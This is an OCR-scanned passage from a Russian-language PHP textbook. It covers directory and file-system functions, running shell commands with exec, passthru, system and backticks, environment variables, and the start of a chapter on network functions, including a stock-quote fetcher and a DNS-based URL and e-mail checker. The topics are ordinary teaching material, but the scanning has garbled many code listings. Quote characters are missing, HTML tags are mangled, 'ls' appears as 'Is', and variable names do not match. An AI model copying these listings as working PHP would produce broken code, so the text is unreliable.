возникновения проблем. Использование функций работы с каталогами После того, как пользователи выгрузили какие-то файлы, было бы удобно дать им возможность просматривать выгруженные файлы и работать с содержимым тексто- вых файлов. В РНР реализован набор функций для работы с файлами и каталогами, с помощью которых и решаются задачи подобного рода. Чтение содержимого каталога Первый сценарий, который мы реализуем, предназначен для просмотра содержи- мого каталога с выгруженными файлами. В листинге 19.3 показан простой сценарий, используемый для достижения данной цели. Листинг 19.3. browsedir. php — вывод содержимого каталога с выгруженными файлами <html> <head> <title>npocMOTp каталогов</Ь1Ь1е> </head> <body> <Ь1>0главление</Ь1> <?php $current_dir = 'uploads’; $dir = opendir($current_dir); echo "<р>Каталог выгрузки: $current_dir</p>"; echo '<р>Содержимое каталога:</p><ul>’; Глава 19. Взаимодействие с файловой системой и сервером 421
while (false !== ($file = readdir($dir))) { // удаление двух элементов: . и .. if ($file ! = && $file != { echo "<li>$file</li>"; } } echo '</ul>'; closedir($dir); ?> </body> </html> В данном сценарии используются функции opendir (), closedir () и readdir (). Функция opendir () открывает каталог для чтения. Ее применение аналогично функции открытия файла fopen (), только вместо имени файла нужно передать имя каталога: $dir = opendir($current_dir); Эта функция возвращает дескриптор каталога, опять-таки, аналогично тому, как функция fopen () возвращает дескриптор файла. После открытия каталога можно прочитать имя файла с помощью вызова readdir ($dir), как показано в нашем примере. Если в каталоге больше нет файлов, эта функция возвращает false. Однако она возвращает false и в том случае, если прочитано имя файла "О" — на этот случай выполняется явная проверка, равно ли возвращаемое значение false: while(false !== ($file = readdir($dir))) После завершения работы с каталогом нужно вызвать функцию closedir ($dir), чтобы закрыть его. Это тоже похоже на вызов функции f close (), работающей с файлами. Пример работы сценария просмотра каталога показан на рис. 19.3. • Рис. 19.3. Оглавление каталога показывает все файлы в выбранном каталоге. Каталоги . (текущий) и . . (уровнем выше) также могли выводиться в оглавлении на рис. 19.3. Однако мы удалили их с помощью строки if($file ! = && $file != Если удалить эту строку кода, то каталоги. и.. также появятся в оглавлении. 422 Часть IV. Более сложные технологии РНР
Если вы хотите применить этот механизм для просмотра каталогов, разумно ограни- чить список доступных для просмотра каталогов, чтобы пользователь не смог просмат- ривать каталоги, обычно недоступные для него. Иногда бывает полезной функция rewinddir ($dir), которая возвращает чтение имен файлов на начало каталога. Вместо этих функций можно использовать имеющийся в РНР класс dir. В нем имеются свойства handle и path и методы read (), close () и rewind (), выполняю- щие те же действия, что и их необъектные аналоги. В листинге 19.4 наш пример переписан с помощью класса dir. Листинг 19.4. browsedir2 .php — вывод оглавления каталога с помощью класса dir <html> <head> <title>npocMOTp каталогов</Ь1Ь1е> </head> <body> <Ы>Оглавление</Ы> <?php $current_dir = dir("uploads") ; echo "<р>Дескриптор каталога: $dir->handle</p>"; echo "<р>Каталог для выгрузки: $dir->path</p>"; echo '<р>Оглавление каталога:</p><ul>'; while (false ’== ($file = dir->read())) { /1 удаление двух элементов: . и . . if ($file ! = && $file ! = { echo "<li>$file</li>"; } } echo '</ul>'; $dir->close(); ?> </body> </html> Файлы в данном примере никак не упорядочиваются, так что если вам нужен упоря- доченный список, следует воспользоваться функцией scandir (), которая появилась в РНР 5. С ее помощью можно запомнить имена файлов в массиве, а затем отсортиро- вать их в алфавитном порядке, по возрастанию или убыванию — как показано в лис- тинге 19.5. Листинг 19.5. scandir .php — упорядочение имен файлов в алфавитном порядке с помощью функции scandir () <Ь1>0главление</Ь1> <?php $dir = 'uploads'; $filesl = scandir($dir); $files2 = scandir($dir, 1); echo "<рЖаталог для выгрузки: $dir</p>"; echo '<р>Оглавление каталога в прямом алфавитном порядке:</p><ul>'; Глава 19. Взаимодействие с файловой системой и сервером 423
foreach ($filesl as $file) { if ($file != && $file ! = { echo ”<li>$file</li>”; ) ) echo ’</ul>’; echo "<р>Каталог для выгрузки: $dir</p>"; echo ’<р>Оглавление каталога в обратном алфавитном порядке:</p><ul>'; foreach ($files2 as $file) { if ($file != && $file != { echo ”<li>$file</li>”; } } echo ’</ul>’; ?> </body> </html> Получение информации о текущем каталоге Если имеется путь к файлу то можно получить о нем некоторые дополнительные сведения. Функции dirname ($path) и basename ($path) возвращают части пути, содержа- щие, соответственно, каталог и имя файла. Эта информация может-пригодиться в нашей программе просмотра каталога, особенно в тех случаях, когда требуется соз- дать сложную структуру каталогов, основанную на осмысленных именах каталогов и файлов. С помощью функции disk free space ($path) в оглавление каталога можно также включить объем свободного места для загружаемых файлов. Если передать этой функ- ции путь к каталогу, она выдаст количество байтов, свободных на диске (в Windows) или в файловой системе (в Unix), где находится каталог. Создание и удаление каталогов Кроме пассивного чтения информации о каталогах, можно создавать и удалять ка- талоги с помощью PHP-функций mkdir () и rmdir (). Создавать и уничтожать каталоги можно только в тех путях, к которым разрешен доступ пользователю, выполняющему сценарий. Использование функции mkdir () не так просто, как может показаться на первый взгляд. Она принимает два параметра: путь к нужному каталогу (включая и имя создавае- мого каталога) и права доступа, которые вы хотите назначить каталогу, например: mkdir("/tmp/testing", 0777); Однако права доступа, указанные вами, не обязательно станут результирующими. Инвертированное значение текущей маски umask будет скомбинировано с заданным значением помощью операции AND, в результате чего получится реальные права дос- тупа. Например, если umask равна 022, то получатся права доступа 0755. 424 Часть IV. Более сложные технологии РНР
Чтобы учесть данный эффект, перед созданием каталога можно сбросить маску umask с помощью следующего кода: $oldmask = umask(0) ; mkdir("/tmp/testing", 0777); umask($oldmask); В этом коде задействована функция umask (), которая используется и для получе- ния значения, и для изменения текущей маски umask. Она заменяет текущее значение umask на переданный ей параметр и возвращает старое значение umask, а если вы- звать ее без параметров, то просто возвращает значение текущей маски доступа. Понятно, что в системе Windows функция umask () не выполняет никаких действий. Функция rmdir () удаляет каталог: rmdir(”/tmp/testing”); или rmdir ("с: WtmpWtesting”) ; Удаляемый каталог должен быть пуст. Взаимодействие с файловой системой Можно не только просматривать и получать информацию о каталогах, но и взаи- модействовать с веб-сервером и получать информацию о файлах, хранящихся на нем. Мы уже рассматривали запись файлов и их чтение. Однако существует и множество других полезных функций. Получение информации о файле Можно изменить ту часть сценария просмотра каталога, которая читает файлы, следующим образом: while (false !== ($file = readdir ($dir))) { echo '<a href="filedetails.php?file=$file$file.'</a><br />'; } Затем потребуется создать сценарий filedetails .php, выдающий дополнитель- ную информацию о файле. Содержимое этого сценария представлено в листин- ге 19.6. Предупреждение по поводу этого сценария: некоторые используемые здесь функ- ции не поддерживаются системой Windows (или поддерживаются не так, как следует); в их числе функции posix_getpwuid (), fileowner () и filegroup (). Листинг 19.6. filedetails .php — функции работы с состоянием файлов и результаты их работы <html> <head> <1И1е>Информация о файле</1И1е> </head> <body> <?php $current_dir = ’uploads'; $file = basename($current_dir); // на всякий случай удаление инф-и о каталоге Глава 19. Взаимодействие с файловой системой и сервером 425
echo ’<Ь1>Информация о файле: '.$file.'</hl>’; echo ’<112>Данные о файле</Ь2>'; echo ’Последнее обращение: '.date(’j F Y H:i', fileatime($file)).’<br />’; echo ’Последняя модификация: '.date('j F Y H:i', filemtime($file)).’<br />’; $user = posix_getpwuid(fileowner($file)); echo ’Владелец файла: '.$user['name'].'<br />’; $group = posix_getgrid(filegroup($file)); echo ’Группа файла: '.$group['name'].'<br />’; echo 'Права доступа: '.decoct(fileperms($file)).'<br />'; echo ’Тип файла: ’.filetype($file).’<br />'; echo ’Размер файла: ’.filesize($file).' байтовсЬг />’; echo ’<Ь2>Флаги файла</Ь2>’; echo ’Каталог: ’ . (is_dir($file)? ’да' : 'нет').'<Ьг />’; echo 'Исполняемый: ' . (is_executable($file)? 'да' : 'нет').'<Ьг />'; echo 'Файл: '.(is_file($file)? 'да' : ' нет ') . ' <br />'; echo 'Ссылка: '.(is_link($file)? ’да' : 'нет').'<Ьг />'; echo 'Разрешено чтение: ' . (is_readable($file)? 'да' : 'нет').’<Ьг />'; echo 'Разрешена запись: '.(is_writable($file)? 'да' : 'нет').'<Ьг />'; ?> </body> </html> Пример результата выполнения сценария из листинга 19.6 показан на рис. 19.4. Информация в файле - МохШа Firefox M l Не £dit View History Bookmarks Tools Help Информация о файле: uploads ' Данные о файле Последнее обращение: 31 March 2009 19:34 Последняя модификация: 31 March 2009 19:34 Владелец файла: root Группа файла: root Права доступа: 40777 Тип файла: dir Размер файла: 4096 байтов Флаги файла Каталог: да Исполняемый: да Файл: нет Ссылка: нет Разрешено чтение: да ; Разрешена запись: да ; Done Рис. 19.4. Сценарий просмотра информации о файле отображает сведения о файле, выдаваемые файловой системой. Права доступа представлены в восьмеричном формате 426 Часть IV. Более сложные технологии РНР
Давайте разберемся, что выполняет каждая функция, которая используется в лис- тинге 19.6. Как уже было сказано, функция basename () возвращает имя файла без ка- талога. (А с помощью функции di г name () можно получить имя каталога без имени файла.) Функции fileatime() и filemtime() возвращают метку времени, соответствен- но, последнего обращения к файлу и его последней модификации. Для наглядности метки времени были отформатированы с помощью функции date (). Для некоторых операционных систем эти функции могут давать одно и то же значение (как в нашем примере) — это зависит от того, какую информацию сохраняет система. Функции fileowner () и filegroupO возвращают идентификатор пользователя (uid) и идентификатор группы (gid) файла. Они могут быть преобразованы в имена с помощью функций posix getpwuid () и posix getgrgid (), соответственно, после чего воспринимаются несколько лучше. Эти функции в качестве параметра принима- ют uid или gid и возвращают ассоциативный массив с информацией о пользователе или группе, в том числе имя пользователя или группы, что и было выполнено в нашем сценарии. Функция fileperms () возвращает права доступа к файлу. В примере они перефор- матированы с помощью функции decoct () в восьмеричный вид, более привычный для пользователей Unix-систем. Функция file type () возвращает информацию о типе анализируемого файла. Ее возможными результатами являются: fifo, char, dir, block, link, file и unknown. Функция filesize () возвращает размер файла в байтах. Функции из следующего набора — isdir () , is_executable () , is_file(), is link (), is readable () и is writable () — проверяют соответствующие атрибу- ты файла и возвращают true или false. Вместо цих аналогичную информацию можно получить с помощью функции stat (). По заданному файлу она возвращает массив с данными, аналогичными резуль- татам вышеприведенных функций. Похожим образом работает и функция Is tat (), но она применяется для символьных ссылок. Все функции работы с состоянием файла требуют серьезных затрат времени для своего выполнения, поэтому результаты их работы кэшируются. Если нужно полу- чить некоторую информацию о файле до изменения и после, необходимо с помощью вызова clearstatcache(); очистить предыдущие результаты. Для использования последнего сценария до и по- сле изменения некоторой информации о файле, нужно в начало сценария вставить вызов этой функции, чтобы гарантировать получение самых свежих данных. Изменение свойств файла Можно не только просматривать свойства файла, но и изменять их. Каждая из функций chgrp(file, group), chmod(file, permissions) и chown (file, user) работает аналогично своему эквиваленту в операционной систе- ме Unix. Ни в Windows одна из них не работает, хотя функция chown () выполняется и всегда возвращает true. Функция chgrp () применяется для изменения группы, имеющей доступ к файлу. Она может изменить группу лишь на одну из тех, членами которых является пользова- тель, если только это не привилегированный пользователь root. Глава 19. Взаимодействие с файловой системой и сервером 427
Функция chmod () изменяет права доступа к файлу. Права доступа, передаваемые ей в качестве параметра, записываются в обычной для Unix-команды chmod форме: чтобы показать, что они записаны в восьмеричной норме, спереди надо приписать "О", например: chmod('somefile.txt', 0777); Функция chown () изменяет владельца файла. Ее можно применять, только если сце- нарий выполняется с правами root, чего происходить не должно, если только вы не запускаете сценарий из командной строки для выполнения задач администрирования. Создание, удаление и перемещение файлов С помощью функций файловой системы файлы можно создавать, перемещать и удалять. Первое, и самое простое, что можно сделать — это создать файл или изменить вре- мя его последней модификации, используя для этого функцию touch (). Она работает аналогично Unix-команде touch. Прототип функции имеет следующий вид: , int touch (string file, [int time [, int atime] ]) Если такой файл уже существует, время его последней модификации будет изме- нено либо на текущее время, либо на время, заданное вторым параметром, если он присутствует. Если нужно задать это время, оно должно быть задано в формате метки времени. Если файл не существует, он будет создан. Время последнего обращения к файлу также будет изменено: по умолчанию — на текущее системное время либо на метку времени, если задан необязательный параметр a time. Удалить файл можно с помощью функции unlink (). (Заметьте, что эта функция не называется delete — “удалить”, такой функции попросту нет.) Используется она следующим образом: unlinkfilename); » Копировать и пересылать файлы можно с помощью функций сору () и rename (): сору($зоигсе_раth, $destination_path); rename($oldfile, $newfile); Функция copy () применялась в листинге 19.2. Функция rename () имеет двойное назначение: она еще и перемещает файлы из одного места в другое, поскольку в РНР нет специальной функции перемещения. Возможность перемещения файлов из одной файловой системы в другую и перезапи- си поверх старых файлов при использовании функции rename () зависит от операци- онной системы, так что необходимо ознакомиться с возможностями вашего сервера. Также надо соблюдать осторожность при использовании пути в имени файла. Если он относительный, то относительно местонахождения сценария, а не самого файла. Использование функций запуска программ С функциями, работающими с файловой системой, мы закончили, и теперь обра- тимся к функциям, с помощью которых можно запускать программы на сервере. Они могут оказаться полезными при создании веб-интерфейса в системе, взаимо- действующей с пользователем через командную строку. Такие команды применялись, 428 Часть IV. Более сложные технологии РНР
например, для создания интерфейса диспетчера почтовой рассылки ezmlm. Мы вос- пользуемся ими снова несколько позже, когда дойдем до учебных проектов. Существуют четыре основных способа выполнения команд на веб-сервере. Все они очень похожи, но небольшие различия все же есть. ехес() Функция ехес () имеет следующий прототип: string exec (string command [, array ^result [, int &return_value] ]) В качестве аргумента ей передается командная строка, которую нужно выпол- нить, например: exec("Is —la”); У функции ехес () нет собственных выходных данных: она возвращает послед- нюю строку результата выполнения команды. z Если передать ей в качестве параметра переменную result, то после выпол- нения в ней будет содержаться массив всех строк результата выполнения ко- манды. Если передать еще и переменную return_value, в нее будет помещен код возврата. passthru() Функция pass thru () имеет следующий прототип: void passthru (string command [, int &return_value]) Функция passthru () просто передает свои выходные данные в браузер. (Это может оказаться полезным в случае бинарных данных, например, изображения в каком-нибудь формате.) Никакого значения не возвращается. Параметры функции означают то же, что и в функции ехес (). system () Функция system () имеет следующий прототип: string system (string command [, int &return_value] ) Данная функция передает в браузер выходные данные команды. Она пытается передавать выходные данные построчно (если РНР выполняется как сервер- ный модуль), что отличает ее от функции passthru (). Она возвращает последнюю строку выходных данных (при успешном выполне- нии) или false (при неудаче). Смысл параметров такой же, как и для других функций. Обратные кавычки Они уже кратко были упомянуты в главе 1. Фактически это оператор выполне- ния команды. У них нет непосредственных выходных данных. Результат выполнения команды возвращается в виде строки, которую затем можно отобразить на экране либо использовать как-то по-другому. Глава 19. Взаимодействие с файловой системой и сервером 429
Если у вас более сложные запросы, то можно также воспользоваться функциями рореп (), proc open () и proc close (), которые предназначены для создания внеш- них процессов и передачи данных по каналам к ним и от них. Последние две из этих функций появились в версии РНР 4.3. Сценарий, показанный в листинге 19.7, содержит эквивалентные примеры исполь- зования каждого из этих четырех способов. Листинг 19.7. progex.php — функции работы со статусом файла и их результаты <?php chdir(’/uploads/’); //II/ версия exec echo ’<pre>'; // unix // exec(’Is -la’, $result); // windows exec(’dir’, $result); foreach ($result as $line) echo ”$line\n”; echo '</pre>'; echo ’<br /Xhr /Xbr />'; ///// версия passthru echo ’<pre>’; // unix // passthru(’ls -la’); // windows passthru(’dir’); echo ’</pre>’; echo ’<br /xhr /xbr />'; ///// версия system echo ’<pre>’; // unix // $result = system(’Is -la’); // windows $result = system('dir'); echo '</pre>’; echo ’<br’/xhr /xbr />’; IIIII версия с обратными кавычками echo ’<pre>’; // unix // $result = 'Is -al'; // windows $result = 'dir'; echo $result; echo ’</pre>’; Один из рассмотренных способов может применяться вместо сценария просмот- ра каталога, приведенного ранее. Обратите внимание, что в этом коде хорошо виден один из побочных эффектов использования внешних функций: код не является пе- реносимым. Здесь вызывались команды Windows, и ясно, что данный код не сможет отработать в среде Unix. Если в текст команды, которую нужно выполнить, требуется включить данные, предоставляемые пользователем, ее необходимо всегда сначала пропускать через 430 Часть IV, Более сложные технологии РНР
функцию еscapeshellcmd (). Это не позволит пользователям преднамеренно (или не- чаянно) выполнять команды в вашей системе. Вот пример вызова этой функции: system(escapeshelIcmd($command)); Можно также воспользоваться функцией escapeshellarg () для литерализации всех аргументов, передаваемых команде оболочки. Взаимодействие со средой: функции getenv () и putenv () В завершение данной главы мы рассмотрим, как в РНР можно использовать пе- ременные среды. Для этой цели существуют две функции: getenv () , позволяющая получить переменные среды, и putenv (), позволяющая устанавливать значения этих переменных. Обратите внимание, что среда, о которой идет здесь речь — это среда на сервере, в которой выполняется РНР-сценарий. Список всех переменных среды для РНР можно получить с помощью вызова функ- ции phpinf о (). Некоторые из этих переменных более полезны, другие — менее, на- пример: getenv (,,HTTP_REFERER") ; возвратит URL-адрес страницы, с которой пользователь пришел на текущую страницу. Можно также устанавливать требуемые значения переменных среды с помощью функции putenv (), например: $home = "/home/nobody”; putenv (’’ HOME=$home "); Если вы системный администратор и хотите ограничить список переменных сре- ды, которые доступны для переустановки пользователям, можно воспользоваться директивой safe_mode_allowed_env_vars в файле php.ini. При работе РНР в безо- пасном режиме пользователи смогут изменять только те переменные окружения, пре- фиксы которых перечислены в этой директиве. На заметку! Дополнительную информацию о том, что представляют собой переменные среды, можно полу- чить в спецификации CGI по адресу: http://hoohoo.ncsa.uiuc.edu/cgi/env.html Дополнительные источники информации Большинство PHP-функций, работающих с файловой системой, соответствуют аналогичным функциям операционной системы. Если вы работаете в Unix, за до- полнительной информацией обращайтесь к шап-страницам. Что дальше В главе 20 будет показано, как с помощью PHP-функций работы с сетью и протоко- лами взаимодействовать с системами, отличающимися от системы на вашем веб-серве- ре. Это еще более расширит возможности разрабатываемых сценариев. Глава 19. Взаимодействие с файловой системой и сервером 431
20 Использование функций работы с сетью и протоколами В данной главе мы рассмотрим сетевые PHP-функции, позволяющие сценариям взаимодействовать с Интернетом. В нем имеется огромное количество ресурсов и множество протоколов для доступа к ним. В главе рассматриваются следующие темы. Обзор доступных протоколов. Отправка и чтение почты. Использование данных с других веб-сайтов. Применение функций сетевого контроля. Использование FTP. Обзор сетевых протоколов Протоколы — это правила общения в конкретных ситуациях. Например, хорошо известен протокол встречи со знакомым: вы здороваетесь, пожимаете руку, разговари- ваете и затем прощаетесь. Различные ситуации требуют соблюдения различных прото- колов. Человек другой культуры может ожидать другой ритуал, что зачастую затрудняет общение. Аналогично устроены и сетевые протоколы. Как и ритуалы общения между людьми, разные компьютерные протоколы при- меняются в различных ситуациях и приложениях. Например, для запросов и прие- ма веб-страниц используется протокол HTTP, или протокол передачи гипертекста (Hypertext Transfer Protocol) — компьютер запрашивает с веб-сервера документ (напо- добие HTML- или PHP-файла), а сервер в ответ посылает компьютеру этот документ. Возможно, вы также знакомы с протоколом FTP — протоколом передачи файлов (File Transfer Protocol), применяемым для пересылки файлов по сети между компьютера- ми. Существует и множество других протоколов. Протоколы и другие стандарты Интернета обычно описаны в документах, на- зываемых RFC (Requests For Comments — запросы на комментарии). Эти стандарты составляются организацией Internet Engineering Task Force (IETF). Документы RFC 432 Часть IV. Более сложные технологии РНР
широко распространены в Интернете. Основным их источником является веб-сайт редактора RFC (RFC Editor): http://www.rfc-editor.org/. Если при работе с каким-либо, протоколом возникают трудности, документы RFC могут послужить надежным источником информации, полезным при отладке кода. Однако эти документы очень подробны и часто содержат сотни страниц. Наиболее известными документами являются, например, RFC2616, содержащий описание протокола НТТР/1.1, и RFC822, в котором описан формат почтовых сооб- щений Интернета. В данной главе рассматриваются аспекты РНР, использующие некоторые из этих протоколов. Мы обсудим отправку почтовых сообщений с применением протокола SMTP, получение почты с помощью POP3 и IMAP4, соединение с веб-серверами по HTTP и пересылку файлов по FTP. Отправка и получение почты Основной способ отправки почтовых сообщений в РНР заключается в простом вызове функции mail (). Ее применение обсуждалось в главе 4, поэтому здесь мы не будем к ней возвращаться. Эта функция использует для отправки почты протокол SMTP (Simple Mail Transfer Protocol — простой протокол пересылки почты). Для повышения функциональности mail () можно воспользоваться одним из множества свободно распространяемых классов. В главе 30 используется класс рас- ширения, позволяющий отправлять HTML-файлы, прикрепленные к почтовому сооб- щению. Протокол SMTP предназначен только для отправки почты. А для получения почты с почтового сервера используются протоколы IMAP4 (Internet Message Access Protocol — протокол для доступа к сообщениям Интернета, описанный в RFC2060) и POP3 (Post Office Protocol — почтовый протокол, описанный в RFC1939 и STD0053). Эти протоколы не предназначены для отправки сообщений. IMAP4 применяется для получения и управления почтовыми сообщениями, хра- нимыми на сервере, и является более сложным, чем POP3, основное применение ко- торого заключается в простой загрузке сообщений на клиентскую машину и удалении их с сервера. РНР содержит библиотеку IMAP4. Ею можно воспользоваться для установки не только IMAP-соединений, но и соединений POP3 и NNTP (Network News Transfer Protocol — протокол передачи сетевых новостей). Подробно использование библиотеки IMAP4 будет рассматриваться в проекте, ко- торый описан в главе 29. Использование данных с других веб-сайтов Одно из лучших применений Web заключается в возможности использовать, изме- нять или встраивать в собственные страницы существующие службы и информацию. РНР существенно облегчает эти действия, и сейчас мы увидим это на примере. Предположим, что компании, в которой вы работаете, требуется отображать на своей домашней странице котировки собственных акций. Эта информация доступна в Интернете на сайте некоторой фондовой биржи, но как ее получить? Прежде всего, необходимо определить URL-адрес, по которому размещена нужная информация. После этого всякий раз, когда кто-либо заходит на домашнюю страницу вашей компании, можно открыть соединение с этим URL, получить страницу и из- влечь из нее соответствующую информацию. Глава 20. Использование функций работы с сетью и протоколами 433
В качестве примера напишем сценарий, который получает и форматирует бирже- вую информацию, публикуемую на сайте АМЕХ. В этом примере будут использоваться котировки акций Интернет-магазина Amazon.com. (Информация, необходимая для ва- шей страницы, может отличаться, однако принцип тот же.) Наш сценарий пользуется веб-службой, предоставляемой другим сайтом, для ото- бражения части данных на нашем сайте. Этот сценарий приведен в листинге 20.1. Листинг 20.1. lookup.php — сценарий, запрашивающий информацию NASDAQ о котировке акций компании, обозначение которой передается в переменной $symbol <html> <head> <title>KoTnpoBKa акций от NASDAQ</title> </head> <body> <?php 4 // Выбор обозначения компании $symbol=’AMZN’; echo '<Ь1>Котировка акций ' . $symbol . '</hl>'; $url = 'http://finance.yahoo.com/d/quotes.csv' . ' ?s=' . $symbol . '&e=.csv&f=slldltlclohgv'; if (!($contents = file_get_contents($theurl))) { die ('Невозможно открыть ' . $url); } / / Выборка нужных данных list($symbol, $quote, $date, $time) = explode, $contents); $date - trim($date, $time = trim($time, echo '<p>' . $symbol . ' — последняя цена продажи: ' . $quote . '</p>' ; echo '<р>Котировка получена ' . $date . ' в ' . $time . '</p>'; // Указать источник информации echo '<р>Информация получена по адресу <Ьг />' . '<а href="' . $url . . $url . '</а>.</р>' ; </body> </html> Пример выполнения сценария 20.1 показан на рис. 20.1. СВ О //Й 0е View History Bookmarks Joois Heip ttp- /localhost/phpm 20/lookup.php Котировка акции AMZN "AMZN” — последняя цена продажи: 73.44 Котировка получена 3.31/2009 в 4:00pm Информация получена по адресу http: 'finance, yahoo. com/dz quotes. csv'7s=AMZN&e- csv&f=sl 1 d 111 clohgv I Done _____________________।_______।______________i__।—।—।----_____________________J Рис. 20.1. Сценарий lookup.php выводит котировку, взятую с фондовой биржи 434 Часть IV. Более сложные технологии РНР
Сам сценарий достаточно прост — ведь все функции, используемые в нем, уже рас- смотрены нами ранее, хотя здесь они применяются по-другому. Действительно, в главе 2, при обсуждении чтения из файлов, упоминалось, что эти функции можно использовать для чтения из URL-адреса. Именно так и происходит в данном примере. Следующий вызов функции file_get_contents (): if (!($contents - file_get_contents($theurl))) { возвращает полный текст страницы по заданному URL-адресу, который затем сохраня- ется в переменной $contents. С помощью файловых функций в РНР можно сделать очень многое. Представлен- ный пример кода просто загружает веб-страницу по HTTP, однако аналогично можно взаимодействовать с внешними серверами через HTTPS, FTP и другие протоколы. Для решения некоторых задач может потребоваться более специализированный под- ход. Часть функциональности FTP доступна только в специфических функциях FTP и не доступна через fopen () и другие файловые функции. Позже в этой главе мы рас- смотрим пример использования функций FTP. При решении определенных задач, свя- занных с HTTP и HTTPS, может потребоваться библиотека cURL. С помощью этой библиотеки можно войти в веб-сайт и имитировать просмотр пользователем несколь- ких страниц. Получив с помощью функции f ile get contents () текст веб-страницы, можно выбрать нужные части страницы функцией list (): list($symbol, $quote, $date, $time) = explode, $contents); $date = trim($date, $time = trim($time, echo '<p>’ . $symbol . ’ — последняя цена продажи: ’ . $quote . ’</p>*; echo ' <р>Котировка получена ’ . $date . ' в ’ . $time . ’</p>’ ; Вот и все! Представленный подход можно применять для различных целей. Другим приме- ром может послужить извлечение информации о погоде в каком-нибудь месте и встав- ка ее на свою страницу. Комбинируя с помощью этого подхода информацию из различных источников, можно придать странице еще большую ценность. Забавным примером на эту тему яв- ляется известный сценарий Филиппа Гринспана (Philip Greenspun) под названием Bill Gates Wealth Clock (Счетчик финансового состояния Билла Гейтса); он доступен по адресу http://philip.greenspun.com/WealthClock. Эта страница имеет два источника информации. На сайте U.S. Census Bureau (Бюро переписи населения США) запрашивается численность населения США. Затем запрашивается текущий курс акций Microsoft, эти данные объединяются, добавляется изрядная часть мнения самого автора и вычисляется новая йнформация — приблизи- тельная оценка финансового состояния Билла Гейтса. На всякий случай предупреждаем: если вы используете чужую информацию в ком- мерческих целях, как в этом примере, стоит вначале внимательно изучить источник. В некоторых случаях потребуется рассмотреть вопросы, связанные с охраной прав на интеллектуальную собственность. Если создается сценарий, подобный показанному выше, может возникнуть необ- ходимость в передаче данных, например, параметров, введенных пользователем, при соединении с внешним URL. В этом случае может помочь функция urlencode (). Она преобразует заданную строку в формат, более подходящий для URL, заменяя, напри- мер, пробелы знаками плюс. Глава 20. Использование функций работы с сетью и протоколами 435
Вызов функции выглядит так: $encodedparameter = urlencode($parameter); Однако такой подход может породить и трудности: если на сайте, с которого вы берете информацию, изменится формат данных, это приведет к прекращению рабо- ты вашего сценария. Использование функций сетевого контроля РНР содержит набор функций “контроля”, предназначенных для проверки инфор- мации об именах хостов, IP-адрёсах и почтовых обменах. Например, если создается справочный сайт, подобный Yahoo!, то перед добавлением новых URL-адресов можно автоматически проверять правильность информации о хосте и контактной инфор- мации. Поступая таким образом, можно сэкономить пользователям немало усилий, чтобы в дальнейшем не оказалось, что сайт не существует или почтовый адрес не- корректен. Пример HTML-кода для ввода информации в справочный сайт представлен в лис- тинге 20.2. Листинг 20.2. directory submit.html — HTML-код для формы ввода информации <html> chead> сг1Т1е>Зарегистрируйте свой canT</title> </head> <body> сй1>3арегистрируйте сайтс/Ъ1> <form method="post" action="directory_submit.php"> URL: <input type="text" name="url" size="40" value="http://"xbr /> Контактный e-mail: cinput type="text" name="email" size="25"xbr /> cinput type="submit" value="3aperncTpnpoBaTb"> c/form> c/body> c/html> Это очень простая форма; вместе с введенными данными она показана на рис. 20.2. ^ Зарегистрируйте свой сайт - Moziifa Firefox С;? Не Edit View History Bookmarks Tods Help ▼ C (So' LJ ht^j:/^oce^iosti^myssf/20/£fc'ectory_sdj!rathtf^ ’ • Зарегистрируйте сайт URL: http:// Контактный e-mail Зарегистрировать Done Рис. 20.2. В формах ввода информации на справочных сайтах обычно требуется URL-адрес сайта и контактная информация, чтобы администраторы могли послать из- вещение о добавлении сайта в поисковую систему 436 Часть IV. Более сложные технологии РНР
После щелчка на кнопке Зарегистрировать в первую очередь необходимо убе- диться, что, во-первых, URL-адрес размещен на реальной машине, и, во-вторых, что хост почтового адреса также реален. Ниже приводится сценарий, выполняющий эти действия, а результаты его работы показаны на рис. 20.3. М!» Результаты регистрации сайга - Mczilla Firefox Fte Edt View History goofenarks Tools Hdp .©..У c X LJ http://tocaSrost^^ys^/20/cfrectory_submitp^ • j Результаты регистрации сайта IP-адрес хоста: 72.47.206.40 Почтовый сервер: tangledweb com.au Переданные данные корректны. Спасибо за информацию о вашем сайте. Скоро он будет просмотрен нашим персоналом. Done Рис. 20.3. Данная версия сценария выводит результаты проверки имени хоста в URL и почтовом адресе — в оконча- тельной версии эта информация может и не отображаться, но здесь интересны именно результаты проверки Сценарий, предназначенный для выполнения этих проверок, использует две функции из набора сетевых PHP-функций: gethostbyname () и dns get mx (). В лис- тинге 20.3 представлен полный исходный код сценария. Листинг 20»3. directory submit. php — сценарий для проверки URL и почтового адреса <html> <head> <1111е>Результаты регистрации caftTa</title> </head> <body> <И1>Результаты регистрации сайта</Ы> <?php // Извлечение информации из полей формы $url = $_REQUEST['url']; $host = $_REQUEST['email']; // Проверка URL $url = parse_url($url); $host = $url['host']; if (! ($ip = gethostbyname($host))) { echo 'Хост для данного URL не существует'; exit; } echo "IP-адрес хоста: $ip <br />"; // Проверка почтового адреса $email = explode (' @ ', $email); $emailhost = $email[l]; // Внимание! Функция dns_get_mx() *не реализована* в Windows-версиях РНР Глава 20. Использование функций работы с сетью и протоколами 437
if (!dns_get_mx($emailhost, $mxhostsarr)) { echo 'Хост почтового адреса не существует'; exit; } echo 'Почтовый сервер: '; foreach ($mxhostsarr as $mx) echo "$mx "; // Если сценарий дошел до этой точки, значит, все в порядке echo '<br />Переданные данные корректны.<Ьг />'; echo 'Спасибо за информацию о вашем сайте.<Ьг />' . 'Скоро он будет просмотрен нашим персоналом.' //В реальном случае добавляем сайт в базу данных ожидающих сайтов... ?> </body> </html> Рассмотрим наиболее интересные части сценария. Вначале к заданному URL-адресу применяется функция parse_url (). Эта функция цозвращает ассоциативный массив различных частей имени URL. Доступные порции информации включают в себя протокол (scheme), пользователя (user),/пароль (pass), хост (host), порт (port), путь (path), запрос (query) и фрагмент (fragment). Обычно требуются не все эти элементы, но мы сейчас рассмотрим, как из них фор- мируется URL. Если задан следующий URL-адрес: http://nobody:secret@example.com:80/script.php?variable=value#anchor то значения элементов массива будут такими: Протокол: http:// Пользователь: nobody Пароль: secret Хост: example. com Порт: ВО Путь: script, php Запрос: variable=value Фрагмент: anchor В сценарии directory submit .php требуется только информация о хосте, поэто- му она извлекается из массива следующим образом: $url = parse_url ($url); $host = $url['host']; После этого с помощью функции gethostbyname () можно получить IP-адрес хос- та, если он известен службе имен доменов (domain name service — DNS). Функция возвращает IP-адрес, если он существует, или false в противном случае: $ip = gethostbyname($host) А функция gethostbyaddr (), наоборот, по IP-адресу хоста возвращает его сим- вольное имя. Если применить две эти функции одну за другой, то может получиться 438 Часть IV. Более сложные технологии РНР
